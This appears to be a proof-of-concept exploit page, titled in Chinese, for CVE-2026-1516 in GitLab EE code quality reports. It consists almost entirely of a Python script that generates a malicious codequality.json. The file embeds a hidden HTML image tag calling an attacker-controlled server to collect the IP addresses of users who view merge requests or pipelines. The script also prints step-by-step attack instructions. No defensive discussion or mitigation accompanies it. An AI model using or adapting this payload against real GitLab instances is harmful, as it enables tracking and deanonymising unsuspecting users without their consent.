CVE-2026-1516 GitLab EE 代码质量报告信息泄露漏洞

import json import requests # Target GitLab URL (Example) TARGET_URL = "https://gitlab.example.com/api/v4/projects/1/repository/files/codequality.json" PRIVATE_TOKEN = "glpat-xxxxxxxxxxxx" # Malicious payload designed to trigger an out-of-band connection # This assumes GitLab renders 'content' or 'description' fields allowing HTML/Markdown injection # which then loads an external resource controlled by the attacker. payload_data = [ { "type": "issue", "check_name": "Vulnerability/PoC", "description": "This is a crafted description to leak IP.", "content": { "body": "<img src=\"http://attacker-controlled-server.com/collect_ip?cve=CVE-2026-1516\" style=\"display:none\" />" }, "location": { "path": "src/vulnerable.py", "lines": { "begin": 1 } }, "severity": "critical" } ] def upload_poc(): headers = {"PRIVATE-TOKEN": PRIVATE_TOKEN} # Create file content file_content = json.dumps(payload_data) # In a real scenario, this would commit the file to the repo print("[+] Malicious Code Quality Report Payload Generated:") print(file_content) print("\n[+] Step to simulate attack:") print("1. Commit this JSON as 'codequality.json' in the project root.") print("2. Push to GitLab.") print("3. Wait for a user to view the Merge Request or Pipeline that includes this report.") print("4. Check logs at 'http://attacker-controlled-server.com' for captured IP addresses.") if __name__ == "__main__": upload_poc()